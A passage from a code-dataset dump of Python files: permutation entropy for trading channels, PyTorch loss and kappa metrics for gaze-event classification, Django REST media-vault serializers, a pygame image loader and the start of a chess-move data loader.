"attribute"}, {"api_name": "dataset.nomeV", "line_number": 27, "usage_type": "attribute"}, {"api_name": "dataset.pmv", "line_number": 28, "usage_type": "attribute"}, {"api_name": "dataset.mf", "line_number": 29, "usage_type": "attribute"}, {"api_name": "dataset.tvpmpv", "line_number": 31, "usage_type": "attribute"}, {"api_name": "dataset.tvpmpv", "line_number": 32, "usage_type": "attribute"}, {"api_name": "dash.Dash", "line_number": 38, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 40, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 42, "usage_type": "call"}, {"api_name": "dash_html_components.H1", "line_number": 43, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 47, "usage_type": "call"}, {"api_name": "dash_html_components.Nav", "line_number": 48, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 49, "usage_type": "call"}, {"api_name": "dash_html_components.P", "line_number": 50, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 52, "usage_type": "call"}, {"api_name": "dash_html_components.Label", "line_number": 53, "usage_type": "call"}, {"api_name": "dash_html_components.Select", "line_number": 54, "usage_type": "call"}, {"api_name": "dash_html_components.Option", "line_number": 55, "usage_type": "call"}, {"api_name": "dash_html_components.Option", "line_number": 56, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 59, "usage_type": "call"}, {"api_name": "dash_html_components.Label", "line_number": 60, "usage_type": "call"}, {"api_name": "dash_html_components.Select", "line_number": 61, "usage_type": "call"}, {"api_name": "dash_html_components.Option", "line_number": 62, "usage_type": "call"}, {"api_name": "dash_html_components.Option", "line_number": 63, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 66, "usage_type": "call"}, {"api_name": "dash_html_components.Label", "line_number": 67, "usage_type": "call"}, {"api_name": "dash_html_components.Select", "line_number": 68, "usage_type": "call"}, {"api_name": "dash_html_components.Option", "line_number": 69, "usage_type": "call"}, {"api_name": "dash_html_components.Option", "line_number": 70, "usage_type": "call"}, {"api_name": "dash_html_components.Option", "line_number": 71, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 74, "usage_type": "call"}, {"api_name": "dash_html_components.Br", "line_number": 75, "usage_type": "call"}, {"api_name": "dash_html_components.Button", "line_number": 76, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 83, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 85, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 86, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 87, "usage_type": "call"}, {"api_name": "dash_html_components.H4", "line_number": 88, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 90, "usage_type": "call"}, {"api_name": "dash_html_components.H1", "line_number": 91, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 96, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 97, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 98, "usage_type": "call"}, {"api_name": "dash_html_components.H4", "line_number": 99, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 101, "usage_type": "call"}, {"api_name": "dash_html_components.H1", "line_number": 102, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 107, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 108, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 109, "usage_type": "call"}, {"api_name": "dash_html_components.H4", "line_number": 110, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 112, "usage_type": "call"}, {"api_name": "dash_html_components.H1", "line_number": 113, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 118, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 119, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 120, "usage_type": "call"}, {"api_name": "dash_html_components.H4", "line_number": 121, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 123, "usage_type": "call"}, {"api_name": "dash_html_components.H1", "line_number": 124, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 132, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 134, "usage_type": "call"}, {"api_name": "dash_core_components.Graph", "line_number": 135, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 157, "usage_type": "call"}, {"api_name": "dash_core_components.Graph", "line_number": 158, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 183, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 185, "usage_type": "call"}, {"api_name": "dash_html_components.H4", "line_number": 186, "usage_type": "call"}, {"api_name": "dash_html_components.Br", "line_number": 187, "usage_type": "call"}, {"api_name": "dash_html_components.Img", "line_number": 188, "usage_type": "call"}, {"api_name": "dash_html_components.H2", "line_number": 190, "usage_type": "call"}, {"api_name": "dash_html_components.H5", "line_number": 191, "usage_type": "call"}, {"api_name": "dash_html_components.H5", "line_number": 192, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 195, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 196, "usage_type": "call"}, {"api_name": "dash_core_components.Graph", "line_number": 197, "usage_type": "call"}]} {"seq_id": "33686944531", "text": "import itertools\nimport numpy as np\nimport math\n\n\nclass Permutation:\n def __init__(self,\n time_series: np.ndarray,\n embedding_order: int = 3,\n time_delay: int = 1\n ):\n self.x = time_series\n self.order = embedding_order\n self.delay = time_delay\n self.embed = self._gen_embed()\n self.all_perms = list(itertools.permutations(np.arange(0, embedding_order), embedding_order))\n self.frqs = self._gen_frq()\n\n def _gen_embed(self):\n\n if self.x.ndim == 1:\n # pass 1D array\n\n y = np.zeros((self.order, self.x.shape[-1] - (self.order - 1) * self.delay))\n for i in range(self.order):\n y[i] = self.x[(i * self.delay):(i * self.delay + y.shape[1])]\n return y.T\n\n else:\n\n y = []\n\n embed_signal_length = self.x.shape[-1] - (self.order - 1) * self.delay\n\n indices = [[(i * self.delay), (i * self.delay + embed_signal_length)] for i in range(self.order)]\n\n for i in range(self.order):\n # loop with the order\n temp = self.x[:, indices[i][0]: indices[i][1]].reshape(-1, embed_signal_length, 1)\n # slicing the signal with the indices of each order (vectorized operation)\n\n y.append(temp)\n # append the sliced signal to list\n\n y = np.concatenate(y, axis=-1)\n # print(np.argpartition(y, kth=3, axis=1))\n # y = np.apply_along_axis(np.argsort, 2, y )\n y = np.argpartition(y, kth=1, axis=2)\n return y\n\n def _gen_frq(self):\n num_per_permutation = np.zeros((self.x.shape[0], len(self.all_perms)))\n for i in range(self.x.shape[0]):\n for j, x_i in enumerate(self.embed[i, ...]):\n for k, perm_k in enumerate(self.all_perms):\n if tuple(x_i) == perm_k:\n num_per_permutation[i, k] += 1\n return num_per_permutation\n\n def gen_prob(self):\n return self.frqs / np.sum(self.frqs, axis=1)[0]\n\n def entropy(self, x: np.ndarray, base=2):\n \"\"\"Returns x log_b x if x is positive, 0 if x == 0, and np.nan\n otherwise. This handles the case when the power spectrum density\n takes any zero value.\n \"\"\"\n xlogx = np.zeros(x.shape)\n xlogx[x < 0] = np.nan\n valid = x > 0\n xlogx[valid] = x[valid] * np.log(x[valid]) / np.log(base)\n\n return -1 * xlogx.sum(axis=1) / np.log2(math.factorial(self.order))\n\n\n# a = np.arange(1, 2100)\n# np.random.shuffle(a)\n# np.random.shuffle(a)\n#\n# b = np.arange(1, 2100)\n# b = b[::-1]\n# # np.random.shuffle(b)\n# c = np.arange(1, 2100)\n# np.random.shuffle(c)\n# x = np.array([a, b[::-1],b, c, c])\n#\n# order = 3\n# perm = Permutation(x, order, 1)\n# print(x)\n# print(perm.embed)\n# print(perm.all_perms)\n# print(perm._gen_frq())\n# print(perm.gen_prob())\n# print(perm.entropy(perm.gen_prob()))\n#\n# print(np.partition([4,3,2,1],0))\n# print(np.partition([4,3,2,1],1))\n# print(np.partition([4,3,2,1],2))\n# print(np.partition([4,3,2,1],3))\n\n# print(np.array([4,3,2,1])[np.argpartition([4,3,2,1], kth=order - 1)])\n\n#\n#\n# order = 3\n# perms = list(itertools.permutations(np.arange(0, order), order))\n# for k, prm_i in enumerate(perms):\n# for j, prm_j in enumerate(perms):\n# if prm_i[0] == prm_j[0] == 0:\n# # for p in range(1,len(prm_j)):\n# if all(prm_j[i] <= prm_j[i + 1] for i in range(len(prm_j) - 1)):\n# # if prm_i[-1] == order-1:\n# fig, axs = plt.subplots(2)\n# plt.figure(j + k + 1)\n# axs[0].plot(prm_i, '.-', c='r')\n# axs[1].plot(prm_j, '.-', c='b')\n#\n# elif prm_i[0] == prm_j[0] == order - 1:\n# # for p in range(1,len(prm_j)):\n# if all(prm_i[i] >= prm_i[i + 1] for i in range(len(prm_j) - 1)):\n# fig, axs = plt.subplots(2)\n# plt.figure(j + k + 1000)\n# axs[0].plot(prm_i, '.-', c='r')\n# axs[1].plot(prm_j, '.-', c='b')\n#\n# plt.show()\n\n\ndef micro_channels(order=3):\n channels = []\n perms = list(itertools.permutations(np.arange(0, order), order))\n for k, prm_i in enumerate(perms):\n for j, prm_j in enumerate(perms):\n if prm_i[0] == prm_j[0] == 0:\n if all(prm_j[i] <= prm_j[i + 1] for i in range(len(prm_j) - 1)):\n channels.append([prm_i, prm_j])\n elif prm_i[0] == prm_j[0] == order - 1:\n if all(prm_i[i] >= prm_i[i + 1] for i in range(len(prm_j) - 1)):\n channels.append([prm_i, prm_j])\n return channels\n\nimport matplotlib.pyplot as plt\n\nchans = micro_channels(4)\nfor i in range(1,7):\n print(micro_channels(i))", "repo_name": "najaweed/MT5", "sub_path": "Trader/Strategy/TradingChannels/trading_channels.py", "file_name": "trading_channels.py", "file_ext": "py", "file_size_in_byte": 4827, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.ndarray", "line_number": 8, "usage_type": "attribute"}, {"api_name": "itertools.permutations", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.argpartition", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 63, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 69, "usage_type": "attribute"}, {"api_name": "numpy.log", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.log2", "line_number": 73, "usage_type": "call"}, {"api_name": "math.factorial", "line_number": 73, "usage_type": "call"}, {"api_name": "itertools.permutations", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 131, "usage_type": "call"}]} {"seq_id": "9147992408", "text": "import torch\nimport sklearn\nimport numpy as np\nfrom elc_metric.ELC import elc\n\n# Metrics\ndef getPerformance(y_true, y_pred, calc_evt):\n # Return all relevant performance metrics\n # Do not consider elements with -1\n loc = y_true != -1\n y_pred = y_pred[loc]\n y_true = y_true[loc]\n\n Perf = dict()\n Perf['kappa'] = sklearn.metrics.cohen_kappa_score(y_true, y_pred, labels=[0,1,2])\n Perf['mpca'] = sklearn.metrics.accuracy_score(y_true, y_pred)\n Perf['conf'] = sklearn.metrics.confusion_matrix(y_true, y_pred, labels=[0,1,2])\n Perf['prec'] = sklearn.metrics.precision_score(y_true, y_pred, average=None, labels=[0,1,2])\n Perf['mpcp'] = sklearn.metrics.precision_score(y_true, y_pred, average='macro', labels=[0,1,2])\n Perf['recall'] = sklearn.metrics.recall_score(y_true, y_pred, average=None, labels=[0,1,2])\n Perf['mpcr'] = sklearn.metrics.recall_score(y_true, y_pred, average='macro', labels=[0,1,2])\n Perf['iou'] = sklearn.metrics.jaccard_score(y_true, y_pred, average='macro', labels=[0,1,2])\n Perf['iou_class'] = sklearn.metrics.jaccard_score(y_true, y_pred, average=None, labels=[0,1,2])\n\n if calc_evt:\n cmat_list = [elc(y_true[i, ...].squeeze(), y_pred[i, ...].squeeze(), 15)[2] for i in range(0, y_true.shape[0])]\n Perf['kappa_evt'] = np.mean([kappa_confusion(cmat) for cmat in cmat_list])\n Perf['kappa_class_evt'] = np.mean(np.stack([kappa_perClass(cmat) for cmat in cmat_list], axis=0), axis=0)\n else:\n Perf['kappa_evt'] = 0\n Perf['kappa_class_evt'] = np.array([0, 0, 0])\n\n return Perf\n\ndef kappa_perClass(cmat):\n '''\n Computes the kappa score per class for a given confusion matrix\n '''\n kappa_class = []\n C = cmat.shape[0]\n classes_present = np.arange(0, C)\n for k in range(0, C):\n x = classes_present[classes_present!=k]\n y = k\n a = cmat[k, k]\n b = np.sum(cmat[x, y])\n c = np.sum(cmat[y, x])\n d = np.sum(cmat[x, x])\n assert np.sum([a,b,c,d]) == np.sum(cmat), \"Incorrect calculation\"\n cmat_c = np.array([[a, c], [b, d]])\n kappa_class.append(kappa_confusion(cmat_c))\n return np.array(kappa_class)\n\ndef kappa_confusion(cmat):\n '''\n Computes the kappa score from a given confusion matrix\n '''\n w = np.eye(cmat.shape[0])\n n = np.sum(cmat) # Total elements\n x = cmat/n\n r = np.sum(x, axis=1) # Sum across rows\n s = np.sum(x, axis=0) # Sum across columns\n Ex = r.reshape(3,1)*s.reshape(1,3) # Expected proportion for random agreement\n #pom = np.sum(np.min(np.stack([r, s], axis=0), axis=0))\n po = np.sum(x.dot(w))\n pe = np.sum(Ex.dot(w))\n kappa = (po - pe)/(1 - pe)\n return kappa\n\n# Loss functions\ndef loss_giw(ip, target, weight, ignore_index):\n loss1 = torch.mean(loss_ce(ip, target, weight, ignore_index))\n GD = GeneralizedDiceLoss(ignore_index=ignore_index).cuda().to(torch.float64)\n loss2 = GD(ip, target)\n loss = loss1.to(torch.float64) + loss2.to(torch.float64)\n return loss, loss1.detach().cpu().item(), loss2.detach().cpu()\n\ndef loss_giw_dual(ip, target, weight, ignore_index, task_2):\n # Note that is important to add an eps value.\n loss1 = torch.mean(loss_ce(ip[:,:3,:], target, weight, ignore_index))\n GD = GeneralizedDiceLoss(ignore_index=ignore_index).cuda().to(torch.float64)\n reg_loss = torch.nn.SmoothL1Loss().to(torch.float64)\n loss2 = GD(ip[:,:3,:], target)\n loss3 = reg_loss(ip[:,3:,:], task_2)\n loss = loss1.to(torch.float64) + loss2.to(torch.float64) + loss3.to(torch.float64)\n return loss, loss1.detach().cpu().item(), loss2.detach().cpu().item()\n\ndef loss_ce(ip, target, weight, ignore_index):\n # Computes the loss based on given input and target.\n # Input: batch, sequence, features\n # Target: batch, sequence, class\n '''\n cE = torch.nn.CrossEntropyLoss(ignore_index=-1, weight=torch.tensor([0.3, 0.9, 0.5]).cuda().to(torch.float64))\n loss_ce = cE(ip, target.to(torch.long))\n '''\n\n cE = torch.nn.CrossEntropyLoss(reduction='none',\n ignore_index=-1,\n weight=torch.tensor([0.3, 0.9, 0.5]).cuda().to(torch.float64))\n sampleWeight = weight/torch.sum(weight, dim=1, keepdim=True)\n loss_ce = sampleWeight*cE(ip, target.to(torch.long))\n loss_ce = torch.sum(loss_ce, dim=1)\n\n return loss_ce\n\nclass GeneralizedDiceLoss(torch.nn.Module):\n # Author: Rakshit Kothari\n # Input: (B, C, ...)\n # Target: (B, C, ...)\n def __init__(self, epsilon=1e-5, weight=None, softmax=True, reduction=True, ignore_index=-1):\n super(GeneralizedDiceLoss, self).__init__()\n self.epsilon = epsilon\n self.weight = []\n self.reduction = reduction\n self.ignore_index = ignore_index\n if softmax:\n self.norm = torch.nn.Softmax(dim=1)\n else:\n self.norm = torch.nn.Sigmoid()\n\n def forward(self, ip, target):\n mask = target.clone().ne_(self.ignore_index)\n mask = [mask for i in range(0, ip.shape[1])]\n mask = torch.stack(mask, dim=1)\n mask.requires_grad = False\n\n ip = ip*mask.to(torch.float64)\n\n # Rapid way to convert to one-hot. For future version, use functional\n Label = (np.arange(3) == target.cpu().numpy()[..., None]).astype(np.uint8)\n target = torch.from_numpy(np.rollaxis(Label, 2, start=1)).cuda().to(torch.float64)\n\n if not (ip.shape == target.shape):\n print('Shapes do not match')\n print('Input shape: {}'.format(ip.shape))\n print('Target shape: {}'.format(target.shape))\n ip = self.norm(ip)\n\n # Flatten for multidimensional data\n ip = torch.flatten(ip, start_dim=2, end_dim=-1).cuda().to(torch.float32)\n target = torch.flatten(target, start_dim=2, end_dim=-1).cuda().to(torch.float32)\n\n numerator = ip*target\n denominator = ip + target\n\n class_weights = 1./(torch.sum(target, dim=2)**2).clamp(min=self.epsilon)\n\n A = class_weights*torch.sum(numerator, dim=2)\n B = class_weights*torch.sum(denominator, dim=2)\n\n dice_metric = 2.*torch.sum(A, dim=1)/torch.sum(B, dim=1)\n if self.reduction:\n return torch.mean(1. - dice_metric.clamp(min=self.epsilon))\n else:\n return 1. - dice_metric.clamp(min=self.epsilon)", "repo_name": "RSKothari/Gaze-in-Wild", "sub_path": "ML/DeepModels/loss.py", "file_name": "loss.py", "file_ext": "py", "file_size_in_byte": 6350, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sklearn.metrics.cohen_kappa_score", "line_number": 15, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 15, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 16, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 16, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 17, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 17, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.precision_score", "line_number": 18, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 18, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.precision_score", "line_number": 19, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 19, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.recall_score", "line_number": 20, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 20, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.recall_score", "line_number": 21, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 21, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.jaccard_score", "line_number": 22, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 22, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.jaccard_score", "line_number": 23, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 23, "usage_type": "attribute"}, {"api_name": "elc_metric.ELC.elc", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.float64", "line_number": 73, "usage_type": "attribute"}, {"api_name": "torch.float64", "line_number": 75, "usage_type": "attribute"}, {"api_name": "torch.mean", "line_number": 80, "usage_type": "call"}, {"api_name": "torch.float64", "line_number": 81, "usage_type": "attribute"}, {"api_name": "torch.nn.SmoothL1Loss", "line_number": 82, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 82, "usage_type": "attribute"}, {"api_name": "torch.float64", "line_number": 82, "usage_type": "attribute"}, {"api_name": "torch.float64", "line_number": 85, "usage_type": "attribute"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 97, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 97, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 99, "usage_type": "call"}, {"api_name": "torch.float64", "line_number": 99, "usage_type": "attribute"}, {"api_name": "torch.sum", "line_number": 100, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 101, "usage_type": "attribute"}, {"api_name": "torch.sum", "line_number": 102, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 106, "usage_type": "attribute"}, {"api_name": "torch.nn.Softmax", "line_number": 117, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 117, "usage_type": "attribute"}, {"api_name": "torch.nn.Sigmoid", "line_number": 119, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 119, "usage_type": "attribute"}, {"api_name": "torch.stack", "line_number": 124, "usage_type": "call"}, {"api_name": "torch.float64", "line_number": 127, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 130, "usage_type": "attribute"}, {"api_name": "torch.from_numpy", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.rollaxis", "line_number": 131, "usage_type": "call"}, {"api_name": "torch.float64", "line_number": 131, "usage_type": "attribute"}, {"api_name": "torch.flatten", "line_number": 140, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 140, "usage_type": "attribute"}, {"api_name": "torch.flatten", "line_number": 141, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 141, "usage_type": "attribute"}, {"api_name": "torch.sum", "line_number": 146, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 148, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 149, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 151, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 153, "usage_type": "call"}]} {"seq_id": "13069200207", "text": "from django.db import models\nfrom rest_framework import serializers\nfrom django.contrib.sites.models import Site\nfrom media.serializers import CustomImageFieldSerializer\n\nfrom media.models import Photo, Video, Media\n\n\nclass VaultPhotoSerializer(serializers.ModelSerializer):\n \"\"\"Serializer for photos in ChatVaultView\"\"\"\n\n media = CustomImageFieldSerializer(sizes=\"photo_upload\")\n\n class Meta:\n model = Photo\n fields = [\"public_id\", \"upload_time\", \"media\"]\n\n\nclass VaultVideoThumbnailSerializer(serializers.FileField):\n \"\"\"Return a dictionary of urls corresponding to video and its thumbnail\"\"\"\n\n read_only = True\n\n def to_representation(self, value):\n video_id = value.instance.public_id\n video_rel_url = f\"chat/vault/video-stream/{video_id}/\"\n domain = Site.objects.get_current().domain\n\n ret = {\n \"video\": f\"http://{domain}/{video_rel_url}\",\n \"thumbnail\": f\"http://{domain}/{value.url_300x300}/\",\n }\n return ret\n\n\nclass VaultVideoSerializer(serializers.ModelSerializer):\n \"\"\"Serializer for videos in ChatVaultView\"\"\"\n\n media = VaultVideoThumbnailSerializer()\n\n class Meta:\n model = Video\n fields = [\"public_id\", \"upload_time\", \"media\"]\n\n\nclass VaultListSerializer(serializers.ListSerializer):\n \"\"\"Custom ListSerializer to implement custom to_representation for each media item in vault\"\"\"\n\n def to_representation(self, data):\n iterable = data.all() if isinstance(data, models.Manager) else data\n\n to_rep = []\n for item in iterable:\n to_rep += [self.get_to_rep(item)]\n return to_rep\n\n def get_to_rep(self, instance):\n model = instance._meta.model\n\n if model == Media:\n instance = instance.media_item\n model = instance._meta.model\n\n self.child.Meta.model = model\n instance.type = model.__name__.lower()\n\n def get_serializer():\n if model == Photo:\n return VaultPhotoSerializer\n else:\n return VaultVideoSerializer\n\n serializer = get_serializer()\n\n ret = serializer(instance).to_representation(instance)\n\n ret[\"type\"] = instance.type\n\n return ret\n\n\nclass VaultSerializer(serializers.ModelSerializer):\n \"\"\"Common serializer for all media items in vault\"\"\"\n\n class Meta:\n list_serializer_class = VaultListSerializer\n model = None\n fields = \"__all__\"\n", "repo_name": "richardoyelabi/social-video-django-server", "sub_path": "chats/media_vault/serializers.py", "file_name": "serializers.py", "file_ext": "py", "file_size_in_byte": 2477, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "71", "api": [{"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 9, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 9, "usage_type": "name"}, {"api_name": "media.serializers", "line_number": 12, "usage_type": "name"}, {"api_name": "media.serializers.CustomImageFieldSerializer", "line_number": 12, "usage_type": "call"}, {"api_name": "media.models.Photo", "line_number": 15, "usage_type": "name"}, {"api_name": "rest_framework.serializers.FileField", "line_number": 19, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 19, "usage_type": "name"}, {"api_name": "django.contrib.sites.models.Site.objects.get_current", "line_number": 27, "usage_type": "call"}, {"api_name": "django.contrib.sites.models.Site.objects", "line_number": 27, "usage_type": "attribute"}, {"api_name": "django.contrib.sites.models.Site", "line_number": 27, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 36, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 36, "usage_type": "name"}, {"api_name": "media.serializers", "line_number": 39, "usage_type": "name"}, {"api_name": "media.models.Video", "line_number": 42, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ListSerializer", "line_number": 46, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 46, "usage_type": "name"}, {"api_name": "django.db.models.Manager", "line_number": 50, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 50, "usage_type": "name"}, {"api_name": "media.models.Media", "line_number": 60, "usage_type": "name"}, {"api_name": "media.models.Photo", "line_number": 68, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 82, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 82, "usage_type": "name"}]} {"seq_id": "40166129549", "text": "from rest_framework import serializers\nfrom ghostpost_app.models import BoastsRoastsModel\n\n\n# Worked with Sohail and Albina too on the planning/beginning stage before finishing separately\nclass BoastRoastSerializer(serializers.HyperlinkedModelSerializer):\n class Meta:\n model = BoastsRoastsModel\n fields = [\n 'id',\n 'is_boast',\n 'post_content',\n 'upvotes',\n 'downvotes',\n 'post_datetime',\n 'privatesecret_key',\n 'vote_score'\n ]\n", "repo_name": "rtjitradi/ghostpost_backend", "sub_path": "ghostpost_app/serializers.py", "file_name": "serializers.py", "file_ext": "py", "file_size_in_byte": 540, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "rest_framework.serializers.HyperlinkedModelSerializer", "line_number": 6, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 6, "usage_type": "name"}, {"api_name": "ghostpost_app.models.BoastsRoastsModel", "line_number": 8, "usage_type": "name"}]} {"seq_id": "27289946896", "text": "import os\n\nimport pygame\nfrom pygame.locals import *\n\n\ndef load_image(file, transparent=True):\n # print(\"Loading \" + file + \" ..\")\n fullname = os.path.join(\"../media\", file)\n image = pygame.image.load(fullname)\n if transparent == True:\n image = image.convert()\n colorkey = image.get_at((0, 0))\n image.set_colorkey(colorkey, RLEACCEL)\n else:\n image = image.convert_alpha()\n return image\n", "repo_name": "HoangNguyenHuu/fuzzy-logic-project", "sub_path": "graphic/loader.py", "file_name": "loader.py", "file_ext": "py", "file_size_in_byte": 432, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.join", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 10, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 10, "usage_type": "attribute"}]} {"seq_id": "24461853126", "text": "import json\nimport random\n\n\ndef progress(str, i, end):\n barLen = 30\n print(\n f'{str} {i}/{end}\\t[{\"=\"*(i*barLen//end)}>{\" \"*(barLen-i*barLen//end)}]', end='\\r')\n\n\nprint('Getting data...')\nprint('Loading json...')\n\nwith open('moves.json', 'r') as f:\n json_moves = json.load(f)\n\nprint('Creating conv_tables...')\n\nboard_size = 8\n\nmoves_conv_tbl = {(fromx, fromy, tox, toy): (fromx * board_size**3 + fromy *\n board_size**2 + tox * board_size + toy) for fromx in range(\n board_size) for fromy in range(board_size) for tox in range(board_size) for toy in range(board_size)}\n\npieces_types_num = 6\n\n\ndef get_pieces_conv_tbl_list(i):\n conv_tbl_list = [0] * (pieces_types_num * 2 + 1)\n conv_tbl_list[i] = 1\n return conv_tbl_list\n\n\npieces_conv_tbl = [get_pieces_conv_tbl_list(\n i) for i in range(pieces_types_num * 2 + 1)]\n\n\ndef get_boards_moves(winner_index, moves):\n _boards = []\n _moves = []\n board = [\n [8, 9, 10, 11, 12, 10, 9, 8],\n [7, 7, 7, 7, 7, 7, 7, 7],\n [0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0],\n [1, 1, 1, 1, 1, 1, 1, 1],\n [2, 3, 4, 5, 6, 4, 3, 